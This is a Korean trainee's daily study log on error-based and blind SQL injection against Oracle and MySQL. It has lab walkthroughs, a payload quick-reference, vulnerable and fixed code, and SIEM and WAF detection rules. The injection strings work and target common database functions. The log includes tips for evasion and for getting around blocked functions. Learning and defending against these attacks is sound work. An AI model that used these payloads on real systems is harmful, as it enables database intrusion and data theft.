📄 2026.01.29 (Day 66) - Error-based SQL Injection


1. 핵심 개념 정리

Error-based SQL Injection 기본 원리

# 핵심 개념 설명 실무/보안 관점
1 Error-based SQL Injection 정의 의도적으로 SQL 에러를 유발하여 에러 메시지 내에 쿼리 결과를 포함시키는 공격 기법 Union-based가 불가능한 환경에서 효과적이며, 에러 메시지 노출 설정이 잘못된 시스템에 치명적
2 에러 메시지 활용 DB 에러 메시지에 서브쿼리 결과가 포함되어 출력됨 개발 환경의 상세 에러 메시지가 운영 환경에 그대로 노출되는 경우 취약
3 1 Row, 1 Column 제약 한 번에 하나의 행, 하나의 컬럼만 추출 가능 Union-based보다 느리지만 탐지 회피 가능성이 높음
4 DBMS별 에러 함수 Oracle: CTXSYS.DRITHSX.SN, MySQL: extractvalue, updatexml 등 DBMS별로 고유한 에러 유발 함수를 악용
5 서브쿼리 중첩 에러 유발 함수의 인자로 서브쿼리를 전달하여 결과 추출 복잡한 서브쿼리 구조로 WAF 우회 가능

Oracle Error-based SQL Injection

# 핵심 개념 설명 실무/보안 관점
6 CTXSYS.DRITHSX.SN 함수 Oracle Text의 시소러스 관련 함수로, 존재하지 않는 키워드 사전 조회 시 에러 발생 시스템 스키마 함수 실행 권한이 있는 경우 악용 가능
7 에러 메시지 구조 DRG-11701: [데이터] 키워드 사전이 존재하지 않습니다 에러 메시지에 서브쿼리 결과가 그대로 노출됨
8 ROWNUM을 이용한 순차 추출 한 번에 하나의 행만 추출하므로 ROWNUM으로 행 번호 지정 WHERE r=1, r=2, … 순차적으로 반복하여 모든 데이터 추출
9 LISTAGG 함수 활용 여러 행을 하나의 문자열로 결합하여 한 번에 추출 컬럼명이 많을 때 효율적이지만 문자열 길이 제한 존재
10 CONCAT 함수 활용 여러 컬럼을 하나의 문자열로 결합 이름, 이메일, 비밀번호 등을 한 번에 추출 가능

MySQL Error-based SQL Injection

# 핵심 개념 설명 실무/보안 관점
11 extractvalue 함수 XML 데이터에서 값을 추출하는 함수로, 잘못된 XPath 경로 입력 시 에러 발생 XPATH syntax error에 서브쿼리 결과 포함
12 concat과 0x3a 활용 콜론(:)을 16진수(0x3a)로 표현하여 잘못된 XPath 경로 생성 콜론으로 시작하는 경로는 유효하지 않아 에러 발생
13 updatexml 함수 extractvalue와 유사하게 XML 업데이트 함수로 에러 유발 두 함수 모두 사용 가능하므로 하나가 차단되면 다른 것 사용
14 LIMIT을 이용한 순차 추출 MySQL은 LIMIT 구문으로 특정 행 선택 LIMIT 0,1 -> LIMIT 1,1 -> LIMIT 2,1 순차 반복
15 에러 메시지 길이 제한 extractvalue는 결과값이 32자까지만 출력됨 긴 데이터는 substring으로 분할하여 추출 필요

2. 실습 내용 정리

실습 64-1: Oracle Error-based SQL Injection 기초

목표: CTXSYS.DRITHSX.SN 함수를 이용한 에러 기반 데이터 추출 기법 학습

쿼리 구조: SELECT name, addr, hobby, age FROM friends WHERE name LIKE ‘%검색어%’

공격 과정:

  1. 공격 포인트 파악

    • 검색어 ’ 입력 -> 에러 발생 확인 (SQL Injection 취약점 존재)
    • 에러 메시지가 상세하게 노출됨
  2. 에러 유발 함수 테스트

    • 검색어: 김%’ and CTXSYS.DRITHSX.SN(user,‘hacker’) =‘j
    • 에러 메시지: DRG-11701: hacker 키워드 사전이 존재하지 않습니다
  3. 서브쿼리로 현재 사용자 확인

    • 검색어: 김%’ and CTXSYS.DRITHSX.SN(user,(select user from dual)) =‘j
    • 에러 메시지: DRG-11701: RICHMAN 키워드 사전이 존재하지 않습니다 -> 현재 DB 사용자: RICHMAN
  4. 테이블 개수 확인

    • 검색어: 김%’ and CTXSYS.DRITHSX.SN(user,(select count(table_name) from user_tables)) =‘j
    • 에러: DRG-11701: 2 키워드 사전이 존재하지 않습니다 -> 테이블 개수: 2개
  5. 첫 번째 테이블명 추출 (ROWNUM 활용)

    • 검색어: 김%’ and CTXSYS.DRITHSX.SN(user,(select j from (select table_name j, rownum k from user_tables) where k = 1)) =‘j
    • 에러: DRG-11701: FRIENDS 키워드 사전이 존재하지 않습니다
  6. 두 번째 테이블명 추출 (k = 2)

    • 에러: DRG-11701: MEMBERS 키워드 사전이 존재하지 않습니다

CTXSYS.DRITHSX.SN 함수 메커니즘:

  1. CTXSYS.DRITHSX.SN(user, ‘키워드’) -> Oracle Text의 시소러스 관련 함수, 두 번째 인자를 키워드 사전 이름으로 인식
  2. 존재하지 않는 키워드 사전 조회 시 에러 발생: DRG-11701: [키워드] 키워드 사전이 존재하지 않습니다
  3. 서브쿼리 결과를 두 번째 인자로 전달 -> 에러 메시지에 서브쿼리 결과 포함되어 출력

제약사항: 1 Row, 1 Column만 반환해야 함, 다중 행 반환 시 ORA-01427 에러 발생

보안 인사이트:

  • 에러 메시지가 상세하게 노출되면 DB 구조와 데이터를 완전히 탈취당할 수 있음
  • CTXSYS 같은 시스템 스키마 함수 실행 권한을 웹 애플리케이션 계정에서 제거 필수
  • 에러 메시지는 로그에만 기록하고 사용자에게는 일반화된 메시지만 표시

실습 64-2: Oracle Error-based SQL Injection - 게시판 문제 (문제 6번)

목표: 게시판 검색 기능에서 Error-based SQL Injection으로 특정 테이블의 데이터 탈취

쿼리 구조: SELECT * FROM BOARD WHERE CONTENT LIKE ‘%’||‘입력값’||’%’

공격 과정:

  1. 공격 포인트 파악: ’ 입력 -> Java 에러 발생, Oracle DB 에러 메시지 화면에 직접 노출됨

  2. 에러 유발 함수 테스트: qwe%’ and CTXSYS.DRITHSX.SN(user,‘hacker’) =‘j -> 에러 발생 확인

  3. 테이블 개수 확인

    • 에러: DRG-11701: 6 -> 테이블 개수 6개
  4. 테이블명 순차 추출 (k=1 ~ k=6)

    • 결과: 1:BOARD, 2:COMM_FILE, 3:COMM_MDI_FILE, 4:MEMBER, 5:EQST_ANSWER, 6:ZIPCODE
  5. EQST_ANSWER 테이블의 컬럼 개수 확인 후 컬럼명 추출

    • 검색어: qwe%’ and CTXSYS.DRITHSX.SN(user,(select column_name from (select rownum as r, column_name from user_tab_columns where table_name=‘EQST_ANSWER’) where r=1)) =‘j
    • 결과: ANSWER_COLUMN
  6. LISTAGG 함수로 여러 컬럼명 한 번에 추출 (선택적)

    • 검색어에 LISTAGG(column_name, ‘, ‘) WITHIN GROUP (ORDER BY 1) 사용
    • 결과: ANSWER_COLUMN, REG_ACCT_ID, REG_DT, …
  7. 최종 데이터 추출 (ROWNUM r=1)

    • 에러: DRG-11701: skinfosec_eqst_lms_system -> 정답: skinfosec_eqst_lms_system

ROWNUM을 이용한 순차 추출 패턴:

  • SELECT a FROM (SELECT 컬럼 a, ROWNUM b FROM 테이블) WHERE b = 행번호
  • WHERE b = 1, b = 2, b = 3, … 순차 반복으로 모든 행 추출
  • 단점: 한 번에 하나씩 추출 (느림), 반복 횟수가 많아 로그에 패턴 노출

LISTAGG 함수 활용:

  • SELECT LISTAGG(컬럼명, ‘, ‘) WITHIN GROUP (ORDER BY 1) FROM 테이블 WHERE 조건
  • 여러 행을 하나의 문자열로 결합하여 한 번에 추출
  • 장점: 여러 행 한 번에 추출 (빠름), 반복 횟수 감소로 탐지 회피
  • 단점: 문자열 길이 제한 (4000자), 데이터가 많으면 잘림

보안 고려사항:

  • CTXSYS.DRITHSX.SN 함수 호출 로그 탐지 필요
  • DRG-11701 에러 반복 발생 (동일 IP)
  • ROWNUM을 이용한 순차 접근 (WHERE r=1, r=2, r=3, …) 패턴 탐지

실습 64-3: MySQL Error-based SQL Injection - extractvalue 함수 (문제 6번)

목표: MySQL의 extractvalue 함수를 이용한 Error-based SQL Injection

쿼리 구조: SELECT * FROM BOARD WHERE … AND (TITLE LIKE ‘%입력값%’ OR CONTENT LIKE ‘%입력값%’)

공격 과정:

  1. 공격 포인트 파악: ’ 입력 -> XPATH syntax error 발생 -> XML 관련 함수를 이용한 Error-Based SQL Injection 가능

  2. extractvalue 함수 테스트

    • 검색어: CCC%’ and extractvalue(‘1’, concat(0x3a, (select ‘hacker2’)))=‘j%
    • 결과: XPATH syntax error: ‘:hacker2’ (0x3a는 콜론(:)의 16진수 표현)
  3. 테이블 개수 확인

    • 검색어: CCC%’ and extractvalue(‘1’, concat(0x3a, (select count(table_name) from information_schema.tables where table_schema = database())))=‘j%
    • 결과: XPATH syntax error: ‘:5’ -> 테이블 개수 5개
  4. 테이블명 순차 추출 (LIMIT 활용)

    • limit 0,1: board / limit 1,1: comm_file / limit 2,1: member / limit 3,1: eqst_answer / limit 4,1: zipcode
  5. eqst_answer 테이블 컬럼명 확인

    • 검색어에 information_schema.columns where table_name=‘eqst_answer’ limit 0,1
    • 결과: XPATH syntax error: ‘:answer_column’
  6. 최종 데이터 추출

    • 검색어: qwe%’ and extractvalue(1, concat(0x3a, (select answer_column from eqst_answer limit 0,1))) and ‘1’=‘1
    • 결과: XPATH syntax error: ‘:skinfosec_eqst_lms_system’ -> 정답: skinfosec_eqst_lms_system

extractvalue 함수 메커니즘:

  1. extractvalue(xml_document, xpath_expression) 구조
  2. concat(0x3a, (select user())) -> 0x3a(콜론) + 서브쿼리 결과 = :root
  3. extractvalue(‘1’, ‘:root’) -> ‘:root’는 유효하지 않은 XPath 경로 -> 에러 발생: XPATH syntax error: ‘:root’
  4. 에러 메시지에 서브쿼리 결과 포함

LIMIT를 이용한 순차 추출:

  • LIMIT 0,1: 첫 번째 행
  • LIMIT 1,1: 두 번째 행
  • LIMIT 2,1: 세 번째 행 (이하 순차 증가)

extractvalue vs updatexml:

  • extractvalue: 2개 인자, 에러 유발 방식 동일
  • updatexml: 3개 인자 (xml_document, xpath_expression, new_value)
  • 하나가 차단되면 다른 것 사용 가능

에러 메시지 길이 제한:

  • extractvalue 에러 메시지는 최대 32자까지만 출력됨
  • 긴 데이터는 substring(data, 1, 30), substring(data, 31, 30) 등으로 분할하여 추출

보안 고려사항:

  • extractvalue, updatexml 함수 사용 및 XPATH syntax error 반복 발생 탐지
  • concat(0x3a, …) 패턴, LIMIT 순차 증가 패턴 탐지
  • 에러 메시지 상세 정보 노출 차단

실습 64-4: Oracle Blind SQL Injection 기초 (문제 4번)

목표: 쿼리 결과가 직접 노출되지 않는 환경에서 참/거짓 차이를 이용한 데이터 추출

공격 과정:

  1. DB 사용자명 길이 확인

    • 검색어: 523%’ and (select length(user) from dual) = 4 and ‘k%’=‘k -> 게시물 표시됨
    • 검색어: 523%’ and (select length(user) from dual) = 5 and ‘k%’=‘k -> 게시물 표시 안됨 -> user 길이: 4글자
  2. 첫 번째 글자 ASCII 값 추출 (이진 탐색)

    • 83 -> 표시 안됨 -> 83 이하 / > 73 -> 표시 안됨 -> 73 이하 / = 73 -> 표시됨 -> ‘I’ (ASCII 73)

  3. 두 번째 글자: ‘N’ (ASCII 78)

  4. 세 번째 글자: ‘F’ (ASCII 70)

  5. 네 번째 글자: ‘6’ (ASCII 54)

  6. 최종 결과: user = INF6

이진 탐색 적용:

  • ASCII 범위: 0~127
  • 1단계: > 64? YES -> 범위 65127 / NO -> 범위 064
  • 2단계: 새로운 중간값과 비교, 범위 계속 절반씩 좁혀 감
  • 최대 7번 비교로 문자 특정

3. DBMS별 Error-based SQL Injection 비교표

Oracle vs MySQL Error 함수 비교

항목 Oracle MySQL 비고
에러 유발 함수 CTXSYS.DRITHSX.SN extractvalue, updatexml DBMS별 고유 함수 악용
에러 메시지 패턴 DRG-11701: [데이터] 키워드 사전이 존재하지 않습니다 XPATH syntax error: ‘:[데이터]’ 에러 메시지에 서브쿼리 결과 포함
순차 추출 방법 ROWNUM LIMIT 한 번에 하나씩 추출
문자열 결합 CONCAT, 두 수직바, LISTAGG CONCAT, 두 수직바 (MySQL 8.0+) 여러 컬럼을 하나로 합침
에러 메시지 길이 제한 없음 32자 제한 MySQL은 substring으로 분할 필요
필요 권한 CTXSYS 스키마 함수 실행 권한 extractvalue 함수 사용 권한 권한 제거로 방어 가능

SQL Injection 공격 유형별 특징 정리

공격 유형 추출 단위 속도 탐지 난이도 실무 빈도 주요 제약사항
Union-based 여러 Row, 여러 Column 빠름 중간 0.1% 쿼리 결과가 화면에 출력되어야 함
Error-based 1 Row, 1 Column 느림 낮음 중간 에러 메시지가 상세히 노출되어야 함
Blind SQL Injection 1 Row, 1 Column, 1 Char 매우 느림 높음 높음 참/거짓 응답 차이 필요
Time-based 1 Row, 1 Column, 1 Char 매우 느림 매우 높음 높음 응답 시간 차이로만 판별

4. 심화 분석

Error-based SQL Injection 자동화 원리

Oracle 자동화 흐름:

  1. 테이블 개수 확인: CTXSYS.DRITHSX.SN(user,(select count(table_name) from user_tables)) -> DRG-11701: N
  2. 테이블명 순차 추출: ROWNUM 기반 반복 (b=1, 2, 3, …) -> DRG-11701: 테이블명
  3. 목표 테이블 컬럼명 추출: LISTAGG로 한 번에 또는 순차 추출
  4. 데이터 추출: 목표 컬럼명으로 최종 데이터 조회

MySQL 자동화 흐름:

  1. 테이블 개수 확인: extractvalue(1, concat(0x3a, (select count(…) from information_schema.tables))) -> ‘:N’
  2. 테이블명 순차 추출: LIMIT 순차 증가 (limit 0,1, 1,1, 2,1, …)
  3. 컬럼명 추출: information_schema.columns에서 LIMIT 순차 추출
  4. 데이터 추출: 목표 테이블에서 LIMIT으로 순차 조회

취약한 코드 vs 방어 코드

취약한 게시판 검색 코드 예시:

  • keyword = request.args.get(‘keyword’)
  • query = “SELECT … FROM board WHERE title LIKE ‘%” + keyword + “%’”
  • except Exception as e: return f"Error: {str(e)}", 500 (에러 그대로 노출 - 매우 위험)

방어 코드 (Prepared Statement + 에러 처리):

  • query = “SELECT … FROM board WHERE title LIKE ?”
  • result = db.execute(query, (’%’ + keyword + ‘%’,))
  • except Exception as e: logger.error(…); return “검색 중 오류가 발생했습니다.”, 500

5. 실무/보안 적용

보안 전문가 관점 - Error-based SQL Injection 탐지 및 대응

단계/유형 탐지 포인트 로그 예시 대응 방안
Oracle Error-based CTXSYS, DRITHSX 키워드 포함, DRG-11701 에러 반복, user_tables/user_tab_columns 조회, ROWNUM/LISTAGG 함수 사용 qwe%27+and+CTXSYS.DRITHSX.SN, DRG-11701 에러 10회 연속 즉시 해당 세션 차단, CTXSYS 스키마 함수 실행 권한 제거, WAF에서 CTXSYS 키워드 차단, 에러 메시지 필터링
MySQL Error-based extractvalue/updatexml 함수 사용, XPATH syntax error 반복, concat(0x3a, …) 패턴, information_schema 접근 extractvalue(1,concat(0x3a, …) XPATH syntax error 발생 extractvalue/updatexml 사용 제한, 0x3a (콜론) 패턴 탐지, information_schema 접근 제한, 에러 메시지 일반화
반복 패턴 탐지 동일 IP에서 ROWNUM 순차 증가, LIMIT 값 순차 증가, 5분 내 20회 이상 에러 발생 where r=1, where r=2, … / limit 0,1, limit 1,1, … Rate Limiting 강화, IP 블랙리스트 등록, CAPTCHA 도입, 침해사고 대응팀 알림

SIEM 탐지 룰 예시 (Splunk SPL)

Oracle Error-based SQL Injection 탐지:

  • index=web_logs에서 uri 필드에서 CTXSYS, DRITHSX, ORDSYS 추출
  • response_body에서 DRG-11701 패턴 매칭
  • src_ip별 count > 5이면 severity=“critical”

MySQL Error-based SQL Injection 탐지:

  • index=web_logs에서 uri 필드에서 extractvalue, updatexml 추출 및 0x3a 포함 여부
  • response_body에서 XPATH syntax error 패턴 매칭
  • src_ip별 count > 5이면 severity=“critical”

순차 추출 패턴 탐지:

  • rownum.*?= 숫자 패턴 및 limit 숫자,1 패턴 추출
  • 동일 IP에서 count > 10이면 severity=“high”

WAF 룰셋 예시

ModSecurity WAF Rule 주요 항목:

  • Rule 1: Oracle Error-based 함수 탐지 (CTXSYS, DRITHSX, ORDSYS, ORD_DICOM)
  • Rule 2: MySQL Error-based 함수 탐지 (extractvalue, updatexml)
  • Rule 3: 0x3a (콜론) 패턴 탐지 (0x3a, concat(0x))
  • Rule 4: ROWNUM 순차 접근 탐지 (rownum = 숫자)
  • Rule 5: LISTAGG 함수 탐지

보안 설정 체크리스트

에러 메시지 설정:

  • 개발 환경: 상세 에러 메시지 표시 (디버깅용)
  • 운영 환경: display_errors = Off, 에러는 로그에만 기록, 사용자에게는 일반 메시지만 표시

Oracle 시스템 스키마 함수 권한 제거:

  • REVOKE EXECUTE ON CTXSYS.DRITHSX FROM webapp_user;
  • REVOKE EXECUTE ON ORDSYS.ORD_DICOM FROM webapp_user;

MySQL은 함수별 권한 제어가 어려우므로 애플리케이션 레벨 방어 필수


6. 배운 점 및 인사이트

새로 알게 된 점

  • Error-based SQL Injection의 효율성: Union-based가 불가능한 환경에서도 에러 메시지만 노출되면 데이터를 추출할 수 있다는 점이 인상 깊었습니다. 특히 CTXSYS.DRITHSX.SN과 extractvalue 같은 DBMS별 고유 함수를 악용하는 방식이 매우 창의적이라고 느꼈습니다.
  • LISTAGG 함수의 실전 활용: Oracle의 LISTAGG 함수를 사용하면 여러 행을 하나의 문자열로 결합하여 한 번에 추출할 수 있어, 반복 횟수를 크게 줄일 수 있다는 점을 배웠습니다.
  • extractvalue의 32자 제한: MySQL의 extractvalue 함수는 에러 메시지가 32자까지만 출력된다는 제약이 있어, 긴 데이터는 substring으로 분할해야 한다는 점을 알게 되었습니다.
  • ROWNUM vs LIMIT 차이: Oracle은 ROWNUM을 사용하고 MySQL은 LIMIT를 사용하여 순차 추출한다는 점에서 DBMS별 문법 차이를 다시 한번 확인했습니다.
  • 에러 메시지 노출의 심각성: 개발 환경의 상세 에러 메시지 설정이 운영 환경에 그대로 적용되면 전체 DB 구조와 데이터가 완전히 노출될 수 있다는 점을 실습을 통해 체감했습니다.

이전 학습과의 연결고리

  • Day 65 Union-based & Blind SQL Injection과 비교: Union-based는 빠르지만 쿼리 결과가 화면에 출력되어야 하고, Blind는 느리지만 참/거짓 차이만 있으면 되며, Error-based는 중간 속도지만 에러 메시지가 노출되어야 한다는 각 기법의 장단점과 적용 환경을 명확히 이해했습니다.
  • SIEM 로그 분석 확장: Error-based 공격은 CTXSYS, extractvalue 같은 특정 키워드와 DRG-11701, XPATH syntax error 같은 에러 패턴으로 탐지할 수 있다는 점을 배워, SIEM 탐지 룰 작성에 활용할 수 있겠습니다.

실무 적용 아이디어

보안 전문가 관점:

  • SIEM 탐지 룰 고도화: CTXSYS, DRITHSX, extractvalue 키워드 탐지뿐만 아니라 ROWNUM 순차 증가, LIMIT 순차 증가 패턴을 탐지하는 룰을 추가하여 Error-based SQL Injection 초기 단계에서 차단할 수 있겠습니다.
  • 에러 메시지 감사 프로세스: 운영 환경의 모든 웹 애플리케이션에 대해 에러 메시지 노출 여부를 점검하고, 상세 에러가 노출되는 경우 즉시 일반화된 에러 페이지로 변경하는 프로세스를 수립해야겠습니다.
  • DB 권한 최소화 점검: 웹 애플리케이션 DB 계정이 CTXSYS, ORDSYS 같은 시스템 스키마 함수를 실행할 수 있는 권한이 있는지 전수 조사하고, 불필요한 권한은 즉시 제거해야겠습니다.

7. Quick Reference

Oracle Error-based SQL Injection 페이로드 모음

기본 테스트: 김%’ and CTXSYS.DRITHSX.SN(user,‘hacker’) =‘j

현재 사용자 확인: 김%’ and CTXSYS.DRITHSX.SN(user,(select user from dual)) =‘j

테이블 개수 확인: 김%’ and CTXSYS.DRITHSX.SN(user,(select count(table_name) from user_tables)) =‘j

테이블명 순차 추출: 김%’ and CTXSYS.DRITHSX.SN(user,(select j from (select table_name j, rownum k from user_tables) where k = 1)) =‘j

LISTAGG로 컬럼명 일괄 추출: 김%’ and CTXSYS.DRITHSX.SN(user,(select LISTAGG(column_name, ‘, ‘) WITHIN GROUP (ORDER BY 1) from user_tab_columns where table_name = ‘테이블명’)) =‘j

MySQL Error-based SQL Injection 페이로드 모음

기본 테스트: test%’ and extractvalue(1, concat(0x3a, (select ‘hacker’))) and ‘1’=‘1

현재 사용자 확인: test%’ and extractvalue(1, concat(0x3a, (select user()))) and ‘1’=‘1

테이블명 순차 추출: test%’ and extractvalue(1, concat(0x3a, (select table_name from information_schema.tables where table_schema=database() limit 0,1))) and ‘1’=‘1

updatexml 함수 (extractvalue 차단 시): test%’ and updatexml(1, concat(0x3a, (select user())), 1) and ‘1’=‘1

긴 데이터 분할 추출: test%’ and extractvalue(1, concat(0x3a, (select substring(컬럼명, 1, 30) from 테이블명 limit 0,1))) and ‘1’=‘1

DBMS별 핵심 함수 요약표

구분 Oracle MySQL 용도
에러 함수 CTXSYS.DRITHSX.SN extractvalue, updatexml 에러 메시지에 서브쿼리 결과 포함
문자열 결합 CONCAT, 두 수직바 CONCAT, 두 수직바 (8.0+) 여러 컬럼을 하나로 합침
행 결합 LISTAGG GROUP_CONCAT 여러 행을 하나의 문자열로
순차 추출 ROWNUM LIMIT 한 번에 하나씩 추출
문자열 분할 SUBSTR SUBSTRING 긴 데이터 분할

8. 트러블슈팅

문제 원인 해결 방법
CTXSYS.DRITHSX.SN 함수 실행 시 권한 에러 웹 애플리케이션 계정에 CTXSYS 스키마 실행 권한 없음 이는 정상적인 보안 설정, 공격자 입장에서는 다른 에러 함수 시도, 방어자 입장에서는 권한 제거 유지
extractvalue 결과가 32자까지만 출력됨 MySQL extractvalue 함수의 에러 메시지 길이 제한 substring 함수로 데이터 분할 (substring(data, 1, 30), 31, 30, …) 또는 Union-based나 Blind로 전환
서브쿼리 실행 시 ORA-01427 에러 다중 행 반환 (1 Row 제약 위반) WHERE ROWNUM=1 추가하여 단일 행만 반환, 또는 순차 추출
LISTAGG 결과가 잘림 문자열 길이 제한 (4000자) 컬럼이 너무 많은 경우 순차 추출로 전환, 또는 여러 번 나눠서 추출
에러 메시지가 전혀 노출되지 않음 운영 환경의 올바른 에러 처리 Error-based 공격 불가능, Union-based 또는 Blind SQL Injection으로 전환

Today’s Insight:

Error-based SQL Injection은 Union-based와 Blind SQL Injection의 중간 형태로, 에러 메시지만 상세하게 노출되면 효과적으로 데이터를 추출할 수 있는 강력한 공격 기법입니다. Oracle의 CTXSYS.DRITHSX.SN과 MySQL의 extractvalue처럼 DBMS별 고유 함수를 악용하는 방식이 매우 창의적이며, 특히 LISTAGG 함수를 활용하면 반복 횟수를 크게 줄여 탐지 회피 가능성을 높일 수 있다는 점이 인상 깊었습니다. 보안 전문가로서 가장 중요한 교훈은 ‘에러 메시지를 사용자에게 절대 상세히 노출해서는 안 된다’는 점과, ‘시스템 스키마 함수 실행 권한을 웹 애플리케이션 계정에서 제거해야 한다’는 점입니다. 배포 전 에러 처리 설정을 반드시 점검하는 프로세스를 수립해야겠습니다.